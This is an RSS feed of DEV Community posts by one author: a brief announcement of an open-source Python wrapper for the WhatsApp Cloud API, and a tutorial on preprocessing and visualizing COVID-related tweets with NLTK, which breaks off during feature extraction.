<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Jordan Kalebu</title>
    <description>The latest articles on DEV Community by Jordan Kalebu (@kalebu).</description>
    <link>https://dev.to/kalebu</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F426436%2Fcb547282-7aa1-4a81-bfc6-888b90d922c6.png</url>
      <title>DEV Community: Jordan Kalebu</title>
      <link>https://dev.to/kalebu</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/kalebu"/>
    <language>en</language>
    <item>
      <title>Python Wrapper for newly announced WhatsApp Cloud API</title>
      <dc:creator>Jordan Kalebu</dc:creator>
      <pubDate>Fri, 20 May 2022 21:46:07 +0000</pubDate>
      <link>https://dev.to/kalebu/python-wrapper-for-newly-announced-whatsapp-cloud-api-4obd</link>
      <guid>https://dev.to/kalebu/python-wrapper-for-newly-announced-whatsapp-cloud-api-4obd</guid>
      <description>&lt;p&gt;&lt;strong&gt;WhatsApp&lt;/strong&gt; just opened up its Cloud API to smoothen integration with WhatsApp messaging but it is not always easy for a developer to get started &lt;/p&gt;

&lt;p&gt;So I just made &lt;strong&gt;Heyoo&lt;/strong&gt;, An Opensource python wrapper to make the integration even smoother. &lt;/p&gt;

&lt;p&gt;Have a look &lt;a href="https://github.com/Neurotech-HQ/heyoo"&gt;https://github.com/Neurotech-HQ/heyoo&lt;/a&gt;&lt;/p&gt;

</description>
      <category>python</category>
      <category>tutorial</category>
      <category>showdev</category>
    </item>
    <item>
      <title>SENTIMENT ANALYSIS WITH PYTHON's NLTK LIBRARY</title>
      <dc:creator>Jordan Kalebu</dc:creator>
      <pubDate>Wed, 18 May 2022 13:34:43 +0000</pubDate>
      <link>https://dev.to/neurotech_africa/sentiment-analysis-with-pythons-nltk-library-1ihe</link>
      <guid>https://dev.to/neurotech_africa/sentiment-analysis-with-pythons-nltk-library-1ihe</guid>
      <description>&lt;p&gt;It is commonly known, the success of a company/business/product directly depends on the customer, so if your customer likes your product it's your success. If not then you need to improvise it by making some changes to it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Question:&lt;/strong&gt; How will you know whether your product is successful or not?&lt;/p&gt;

&lt;p&gt;Well for that you need to analyze your customers and one of the attributes of analyzing your customer is to analyze the sentiment of them on the specific product and this is where the sentiment analysis comes into the picture.&lt;/p&gt;

&lt;p&gt;So, let's start with what is sentiment analysis?&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Sentiment Analysis we can say it is a process of computationally identifying and categorizing opinions from piece of text, and determine whether the writer's attitude towards the particular topic or product is positive,negative or neutral.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;It might be possible not as an individual every time you don't perform a sentiment analysis but you do look for the feedback right like before purchasing a product or downloading an app in your device(phone) either from the App Store or Play Store you can look for feedback of what other customers or users are saying about that product whether is good or bad and you analyze it manually. Consider at the company level, how do they analyze what customers are saying about particular products, they do have more than millions of customers. That is where companies need to perform sentiment analysis to know whether their products are doing good on the market or not.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What is NLTK?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;NLTK stands for Natural Language Toolkit, It provides us various text processing libraries with a lot of test datasets. Today you will learn how to process text for sentiment analysis using &lt;a href="https://www.nltk.org/"&gt;NLTK&lt;/a&gt;. There are other libraries as well like CoreNLP, spaCy, PyNLPI, and  Polyglot. &lt;a href="https://www.nltk.org/"&gt;NLTK&lt;/a&gt; and spaCy are most widely used. Spacy works well with large information and for advanced NLP.&lt;/p&gt;

&lt;p&gt;We are going to use NLTK to perform sentiment analysis to assess if a Twitter post is about Covid-19 or not. You can read more about the datasets we are going to use &lt;a href="https://zindi.africa/competitions/zindiweekendz-learning-covid-19-tweet-classification-challenge/data"&gt;here&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The first step is to install NLTK in your working environment&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pip &lt;span class="nb"&gt;install &lt;/span&gt;nltk
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;strong&gt;Data Loading&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;Our datasets have three features ID, text, and target where ID just indexes each tweet, the text is the tweet needed to be classified and the target is the label of the tweet where 1 means the tweet with Covid contents and 0 tweets with no Covid contents.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;pandas&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;pd&lt;/span&gt;
&lt;span class="n"&gt;tweets&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;  &lt;span class="n"&gt;pd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;read_csv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"../data/tweets.csv"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;tweets&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--3K6libyi--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.neurotech.africa/content/images/2022/02/tweets_head.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--3K6libyi--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.neurotech.africa/content/images/2022/02/tweets_head.png" alt="https://blog.neurotech.africa/content/images/2022/02/tweets_head.png" width="880" height="153"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Overview of tweets&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Let's try to filter some tweets one with Covid contents and another with non-Covid contents.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# %tweet with covid contents
&lt;/span&gt;&lt;span class="n"&gt;tweets&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;tweets&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;'target'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;loc&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s"&gt;'text'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--cgzRJEV7--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.neurotech.africa/content/images/2022/02/tweet_covid.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--cgzRJEV7--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.neurotech.africa/content/images/2022/02/tweet_covid.png" alt="https://blog.neurotech.africa/content/images/2022/02/tweet_covid.png" width="880" height="35"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# %tweet with non covid contents
&lt;/span&gt;&lt;span class="n"&gt;tweets&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;tweets&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;'target'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;loc&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s"&gt;'text'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--YoxFYadt--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.neurotech.africa/content/images/2022/02/tweet_nocovid.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--YoxFYadt--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.neurotech.africa/content/images/2022/02/tweet_nocovid.png" alt="https://blog.neurotech.africa/content/images/2022/02/tweet_nocovid.png" width="880" height="35"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Data Cleaning&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;The process is usually step-wise, regardless of which language of those sentiments are coming, only some changes can be done to fit the requirements of sentiment analysis but the idea of cleaning text data is the same. We have loaded the datasets it is time to clean those texts.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Removing Punctuation&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Punctuation is nonmeaningful when we come in sentiment analysis we should remove from strings to remain with clean sentiments. We can do so by using &lt;code&gt;remove_punctuation&lt;/code&gt; function on the snippet below.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# %function to remove punctuation using string library
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;remove_punctuation&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="s"&gt;'''a function for removing punctuation'''&lt;/span&gt;
    &lt;span class="n"&gt;translator&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;maketrans&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;''&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;''&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;punctuation&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;translate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;translator&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;tweets&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;'text'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;tweets&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;'text'&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nb"&gt;apply&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;remove_punctuation&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Converting Text to Lowercase&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In sentiment analysis, we should consider converting text to lowercase because they can be a problem for a couple of reasons. Imagine the world "us".It could be a pronoun representing "we" on the sentence or the country "USA".  We can do so by using the piece of code below.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;tweets&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;'text'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;tweets&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;'text'&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nb"&gt;apply&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;lambda&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;" "&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lower&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;  &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;split&lt;/span&gt;&lt;span class="p"&gt;()))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Removing Stop words&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A Text may contain words like ‘is’, ‘was’, ‘when’ etc. We can remove stopwords from the text. There is no universal list of stop words in NLP, however, the NLTK library provides a list of stop words, so here we will use the snippet below to remove all stopwords from the text.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# %import nltk
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;nltk&lt;/span&gt;

&lt;span class="c1"&gt;# %download stopwords using nltk
&lt;/span&gt;&lt;span class="n"&gt;nltk&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;download&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'stopwords'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# %remove english stopwords
&lt;/span&gt;&lt;span class="n"&gt;allstopwords&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;nltk&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;corpus&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;stopwords&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;words&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"english"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;tweets&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;'text'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;tweets&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;'text'&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nb"&gt;apply&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;lambda&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;" "&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;split&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;allstopwords&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Removing Numbers&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Numbers or words combined with numbers are very hard to process, you can find a sentence with words like  &lt;code&gt;covid-19&lt;/code&gt; , &lt;code&gt;software2020&lt;/code&gt; or &lt;code&gt;plan7&lt;/code&gt;. For this can, we should remove these kinds of words be problems for machines to understand. For our case here is a piece of code to perform such a task.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;remove_numbers&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="s"&gt;'''a function to remove numbers'''&lt;/span&gt;
    &lt;span class="n"&gt;txt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sub&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="s"&gt;'\b\d+(?:\.\d+)?\s+'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;''&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;txt&lt;/span&gt;

&lt;span class="n"&gt;tweets&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;'text'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;tweets&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;'text'&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nb"&gt;apply&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;remove_numbers&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Tokenization&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The process of breaking down the text into smaller units is called tokens. If we have a sentence, the idea is to separate each word and build a vocabulary such that we can represent all words uniquely in a list. Numbers, words, etc.. all fall under tokens. NLTK has different methods to perform such tasks. For our case, we will use &lt;code&gt;sent_tokenize&lt;/code&gt; to perform tokenization&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;
&lt;span class="n"&gt;nltk&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;download&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'punkt'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;nltk.tokenize&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;sent_tokenize&lt;/span&gt;
&lt;span class="n"&gt;tweets&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;'text'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sent_tokenize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tweets&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;'text'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Story Generation and Visualization from Tweets&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Take a look at visualizations to answer some questions or to tell stories like&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What are the most common words in the entire dataset?&lt;/li&gt;
&lt;li&gt;What are the most common words in the dataset for each class, respectively?&lt;/li&gt;
&lt;li&gt;Which trends are associated with either of the sentiments? Are they compatible with the sentiments?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We will be using a word cloud to visualize our tweets&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# create text from all tweets
&lt;/span&gt;&lt;span class="n"&gt;all_words&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;' '&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;tweets&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;'text'&lt;/span&gt;&lt;span class="p"&gt;]])&lt;/span&gt;
&lt;span class="n"&gt;wordcloud&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;WordCloud&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;width&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;900&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;height&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;500&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;random_state&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;max_font_size&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;110&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;generate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;all_words&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;plt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;figure&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;figsize&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="n"&gt;plt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;imshow&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;wordcloud&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;interpolation&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"bilinear"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;plt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;axis&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'off'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;plt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;show&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--kC3KFmdV--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.neurotech.africa/content/images/2022/02/tweet_wordc_covid-1-1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--kC3KFmdV--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.neurotech.africa/content/images/2022/02/tweet_wordc_covid-1-1.png" alt="https://blog.neurotech.africa/content/images/2022/02/tweet_wordc_covid-1-1.png" width="692" height="386"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--vSARtCgY--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.neurotech.africa/content/images/2022/02/tweet_wordcloud-1-1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--vSARtCgY--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.neurotech.africa/content/images/2022/02/tweet_wordcloud-1-1.png" alt="https://blog.neurotech.africa/content/images/2022/02/tweet_wordcloud-1-1.png" width="692" height="388"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--UTAMJjge--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.neurotech.africa/content/images/2022/02/tweet_wordc_ncovid-1-1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--UTAMJjge--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.neurotech.africa/content/images/2022/02/tweet_wordc_ncovid-1-1.png" alt="https://blog.neurotech.africa/content/images/2022/02/tweet_wordc_ncovid-1-1.png" width="686" height="384"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Word cloud Visualization for tweets&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;From left word cloud visualization of all tweets, at the middle the visualization of tweets about Covid and the last(right side) the visualization of tweets with non-Covid contents.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Feature Extraction and Classification&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Here we are going to extract tweets and split them into two groups, train  group and test group where train group will be used to train our sentiment model and the test group to validate the performance of our model, the splitting task will be done by using &lt;code&gt;sklearn&lt;/code&gt; python library&lt;/p&gt;

&lt;p&gt;we are going to use NLTK methods to perform feature extractions&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# %Extracting word features
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_words_in_tweets&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tweets&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="nb"&gt;all&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
